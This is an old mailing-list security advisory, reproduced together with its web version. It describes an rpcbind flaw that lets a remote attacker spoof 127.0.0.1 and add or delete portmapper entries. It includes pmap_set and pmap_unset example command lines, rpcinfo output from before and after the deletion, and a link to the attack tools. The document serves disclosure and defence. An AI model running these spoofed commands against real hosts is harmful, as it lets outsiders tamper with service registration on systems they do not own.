rpcbind.txt

`Date: Thu, 28 Jan 1999 13:03:14 +0000  
From: [email protected]  
To: [email protected]  
Subject: rpcbind: deceive, enveigle and obfuscate  
  
-----BEGIN PGP SIGNED MESSAGE-----  
  
  
*** RPCBIND SECURITY ADVISORY ***  
  
Discovered by: Martin Rosa, [email protected]  
Authored by: Patrick Gilbert, [email protected]  
  
The vulnerable versions of rpcbind are contained in:  
  
- -Linux 2.0.34  
- -Irix 6.2  
- -Wietse's rpcbind 2.1 replacement (Wietse's warns  
the use of proper filtering to be used with his package, but did you  
really read the README?)  
- -Solaris 2.6 (you can add and delete services that were inserted remotely)  
- -Other version have yet to be tested.  
  
The problem:  
  
Rpcbind permits a remote attacker to insert and delete  
entries without superuser status by spoofing a source address.  
Ironically, it inserts the entries as being owned by superuser (wietse's  
rpcbind in this case).  
  
Consequences are terrible, to say the least. Tests were conducted  
with the pmap_tools available at the end of this advisory.  
  
The solution:  
  
Make sure you filter 127.0.0.1 and localnets at  
your border router. Bad router hygiene will lead to problems.  
  
The tools:  
  
A source of pmap_tools for linux, as well as technical details concerning  
this advisory can be obtained here:  
  
http://www.pgci.ca/emain.html  
  
Cheers,  
  
- --  
Patrick Gilbert +1 (514) 865-9178  
CEO, PGCI http://www.pgci.ca  
Montreal (QC), Canada CE AB B2 18 E0 FE C4 33 0D 9A AC 18 30 1F D9 1A  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: 2.6.2  
  
iQCVAwUBNrBgFvweOHTzUVddAQEO3AQAjjtefHTsCQX5GVXrgp3kOZK5/opckmyv  
nBcuL5hOl/vCwkr5SnCRD65FDYIh7NPH53Uj4MSf/xf8Bd28l8VxFG0R0GE3jnwN  
Z2lrrVXgZ0Xsmd+MHBnL38vVBdNHQpXb1U1eYCkClX/M6Y+BWnAvavw0wVxoO7bW  
4rzv7/c58eU=  
=z0pq  
-----END PGP SIGNATURE-----  
  
  
--------------------| http://www.pgci.ca/rpc.html |------------------------  
  
Applies to the practice:   
rpcbind: deceive, inveigle and obfuscate   
http://www.pgci.ca/emain.html  
Applicable technologies:   
Unix and derivatives; pmap_tools   
  
  
Discovered by: Martin Rosa, [email protected]   
Authored by: Patrick Gilbert, [email protected]   
  
Version affected:   
  
The vulnerable versions of rpcbind are contained in:   
  
Linux 2.0.34   
Irix 6.2   
Wietse's rpcbind 2.1 replacement (Wietse's warns the use of proper filtering to  
be used with his package, although we are sure he didn't intend for anyone to be  
able to trivially remove/add entries)   
ftp://ftp.porcupine.org/pub/security/rpcbind_2.1.README  
Solaris 2.6 (you can only add and delete services inserted remotely)   
Other version have yet to be tested.   
  
The preface:   
  
Rpcbind is a server that converts RPC program numbers into universal addresses. It  
must be running as root on the host to be able to make RPC calls on a server on that  
machine.   
  
When an RPC service is started, it tells rpcbind the address at which it is listening, and  
the RPC program numbers it is prepared to serve. When a client wishes to make an RPC  
call to a given program number, it first contacts rpcbind on the server machine to  
determine the address where RPC requests should be sent.   
  
The problem:   
  
Rpcbind permits a remote attacker to insert and delete entries without superuser status  
by spoofing a source address. Ironically, it inserts the entries as being owned by  
superuser. Consequences are terrible, to say the least. Tests were conducted with the  
pmap_tools available at the end of this advisory.   
  
Example usage:   
* pmap_set 127.0.0.1 1.1.1.1 100005 1 udp 666   
*   
* This would add to portmapper's list mountd (100005) version 1 on udp   
* port 666.   
*   
* Instead of 127.0.0.1, you could also use 1.1.1.1. It depends on filters   
* installed on your target's network.   
  
$ rpcinfo   
program version netid address service owner   
100000 4 ticots pgci.ca.rpc rpcbind superuser   
100000 3 ticots pgci.ca.rpc rpcbind superuser   
100000 4 ticotsord pgci.ca.rpc rpcbind superuser   
100000 3 ticotsord pgci.ca.rpc rpcbind superuser   
100000 4 ticlts pgci.ca.rpc rpcbind superuser   
100000 3 ticlts pgci.ca.rpc rpcbind superuser   
100000 4 tcp 0.0.0.0.0.111 rpcbind superuser   
100000 3 tcp 0.0.0.0.0.111 rpcbind superuser   
100000 2 tcp 0.0.0.0.0.111 rpcbind superuser   
100000 4 udp 0.0.0.0.0.111 rpcbind superuser   
100000 3 udp 0.0.0.0.0.111 rpcbind superuser   
100000 2 udp 0.0.0.0.0.111 rpcbind superuser   
100005 1 udp 0.0.0.0.2.154 mountd superuser   
  
For test purposes, the 100005 entry is deleted, as well as the following entry   
  
100000 4 tcp 0.0.0.0.0.111 rpcbind superuser   
  
Example usage:   
* pmap_unset 127.0.0.1 1.1.1.1 100005 1   
*   
* This would remove mountd (100005) entry from portmapper's list.   
*   
  
The result, much to our surprise, was positive. Both entries have been remotely  
deleted by an unauthorized third party.   
  
$ rpcinfo   
program version netid address service owner   
100000 4 ticots pgci.ca.rpc rpcbind superuser   
100000 3 ticots pgci.ca.rpc rpcbind superuser   
100000 4 ticotsord pgci.ca.rpc rpcbind superuser   
100000 3 ticotsord pgci.ca.rpc rpcbind superuser   
100000 4 ticlts pgci.ca.rpc rpcbind superuser   
100000 3 ticlts pgci.ca.rpc rpcbind superuser   
100000 3 tcp 0.0.0.0.0.111 rpcbind superuser   
100000 2 tcp 0.0.0.0.0.111 rpcbind superuser   
100000 3 udp 0.0.0.0.0.111 rpcbind superuser   
100000 2 udp 0.0.0.0.0.111 rpcbind superuser   
  
The solution:   
  
Make sure you filter 127.0.0.1 aand localnets at your border router. Bad router hygiene  
will lead to problems. If the problem persists, contact your local vendor for an rpcbind  
replacement or update.   
  
Are you vulnerable?   
  
A copy of the pmap_tools for linux can be obtained at  
ftp://ftp.pgci.ca/pub/pmap_tools/  
`